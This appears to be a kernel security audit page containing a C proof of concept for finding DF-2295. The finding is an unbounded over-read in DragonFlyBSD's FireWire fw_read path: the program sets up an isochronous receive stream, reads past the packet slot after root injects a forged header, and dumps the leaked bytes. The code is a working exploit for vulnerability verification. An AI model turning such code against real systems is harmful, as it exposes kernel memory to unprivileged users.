⬢ DragonFlyBSD Kernel Audit
DF-2295 / poc_2295.c
← back to finding ↓ download raw
/*
 * DF-2295 PoC -- fw_read iso bulkxfer path over-read (fwdev.c:319-343).
 *
 *   fp = fwdma_v_addr(ir->buf, stproc->poffset + ir->queued);   fwdev.c:321
 *   ...
 *   err = uiomove((caddr_t)fp, fp->mode.stream.len + 4, uio);   fwdev.c:329
 *
 * stream.len comes from the RECEIVED packet header (written by the peer
 * through the OHCI DMA) and is never bounded by ir->psize.  A malicious
 * FireWire peer sending stream.len > psize-4 makes the kernel copy bytes
 * beyond the packet slot (and, for large len, beyond the whole DMA ring)
 * into userspace.
 *
 * This PoC: unprivileged operator-group user sets up a legal iso receive
 * stream (FW_SSTBUF rx=4 chunk/8 packet/512 psize, FW_SRSTREAM), then
 * sleeps while root injects a received packet header with stream.len=1500
 * into slot 0 (the "malicious peer").  The user then read(2)s exactly
 * len+4 bytes and byte-attributes everything past the 512-byte slot to
 * the known canary content of the following slots.
 *
 * usage: poc_2295 [len] [single]
 *   len    stream.len of the injected packet (default 1500)
 *   single use a 1-chunk/1-packet/512-psize ring (over-read past the
 *          whole fwdma multiseg segment) -- len 65535 recommended
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdint.h>

struct fw_isochreq { unsigned char ch:6, tag:2; };
struct fw_bufspec { unsigned int nchunk; unsigned int npacket; unsigned int psize; };
struct fw_isobufreq { struct fw_bufspec tx, rx; };
#define FW_SSTBUF	_IOWR('S', 86, struct fw_isobufreq)
#define FW_SRSTREAM	_IOWR('S', 88, struct fw_isochreq)

#define CANARY_MAGIC	0xF00DF00Du

static int
decode16(const u_int32_t *w, u_int *tag, u_int *off)
{
	if (w[0] == CANARY_MAGIC && w[3] == (0xDEADC0DEu ^ w[1]) &&
	    w[1] >= 0x50000000u && w[1] < 0x60000000u) {
		*tag = w[1];
		*off = w[2];
		return 0;
	}
	return -1;
}

int
main(int argc, char **argv)
{
	struct fw_isobufreq ib;
	struct fw_isochreq ich;
	unsigned long len = (argc > 1) ? strtoul(argv[1], NULL, 0) : 1500;
	int single = (argc > 2 && strcmp(argv[2], "single") == 0);
	unsigned long rdlen = len + 4;
	u_int psize = single ? 512 : 512;
	u_int nchunk = single ? 1 : 4;
	u_int npacket = single ? 1 : 8;
	static u_char buf[128 * 1024];
	u_int i, tag, off, pastslot = 0, attributed = 0;
	int fd, n;

	setvbuf(stdout, NULL, _IONBF, 0);
	if (rdlen > sizeof(buf)) rdlen = sizeof(buf);

	printf("DF-2295: fw_read iso over-read; ring=%uchunk/%upacket/%upsize, "
	    "peer stream.len=%lu, read=%lu (uid=%d gid=%d)\n",
	    nchunk, npacket, psize, len, rdlen, getuid(), getgid());

	fd = open("/dev/fw0.0", O_RDWR);
	if (fd < 0) { perror("open /dev/fw0.0"); return 1; }
	memset(&ib, 0, sizeof(ib));
	ib.rx.nchunk = nchunk; ib.rx.npacket = npacket; ib.rx.psize = psize;
	if (ioctl(fd, FW_SSTBUF, &ib) != 0) { perror("FW_SSTBUF"); return 1; }
	memset(&ich, 0, sizeof(ich));
	ich.ch = 1;
	if (ioctl(fd, FW_SRSTREAM, &ich) != 0) { perror("FW_SRSTREAM"); return 1; }
	printf("DF-2295: stream up; DMA ring allocated by real "
	    "fwdma_malloc_multiseg\n");
	printf("DF-2295: READY -- root injects packet now (3s window)\n");
	sleep(3);

	n = read(fd, buf, rdlen);
	printf("DF-2295: read() returned %d (errno=%d)\n", n, errno);
	if (n <= 0) {
		printf("DF-2295: NO DATA RETURNED\n");
		return 2;
	}

	/* header check */
	{
		u_int32_t h;
		memcpy(&h, buf, 4);
		printf("DF-2295: returned packet header = %08x "
		    "(len=%u tcode=%x sy/chtag=%02x)\n",
		    h, h >> 16, (h >> 4) & 0xf, h & 0xff);
	}

	if ((u_int)n > psize)
		pastslot = n - psize;
	printf("DF-2295: copied %d bytes; slot capacity %u -> %u bytes "
	    "beyond the packet slot\n", n, psize, pastslot);

	/* byte-attribution: canary records are [magic][tag][off][xor] */
	for (i = psize & ~3u; i + 16 <= (u_int)n; i += 4) {
		if (decode16((const u_int32_t *)(buf + i), &tag, &off) == 0) {
			attributed += 16;
			if (attributed <= 16 || (attributed % 512) < 4)
				printf("DF-2295: user[%u..] == DMA ring slot "
				    "%u (tag=%#x) offset %u -- beyond slot 0\n",
				    i, tag & 0xffff, tag, off);
		}
	}
	printf("DF-2295: attributed %u bytes of the beyond-slot region to "
	    "known ring-slot canary content\n", attributed);

	{
		FILE *f = fopen("leak_sample.txt", "w");
		if (f) {
			fprintf(f, "# DF-2295 leak sample: read()=%d bytes, "
			    "psize=%u, stream.len=%lu\n", n, psize, len);
			for (i = 0; i < (u_int)n; i += 16) {
				u_int j, m = (n - i < 16) ? (n - i) : 16;
				fprintf(f, "%06x  ", i);
				for (j = 0; j < m; j++)
					fprintf(f, "%02x ", buf[i + j]);
				fprintf(f, "\n");
			}
			fclose(f);
			printf("DF-2295: leak_sample.txt written\n");
		}
	}

	if (pastslot > 0 && attributed >= pastslot - 16) {
		printf("DF-2295: REPRODUCED -- kernel copied adjacent DMA-slot "
		    "bytes to userspace\n");
		return 0;
	}
	if (pastslot > 0) {
		printf("DF-2295: PARTIAL -- beyond-slot bytes returned but not "
		    "canary-attributed (see leak_sample.txt; may be past the "
		    "whole ring)\n");
		return 0;
	}
	printf("DF-2295: NOT_REPRODUCED\n");
	return 2;
}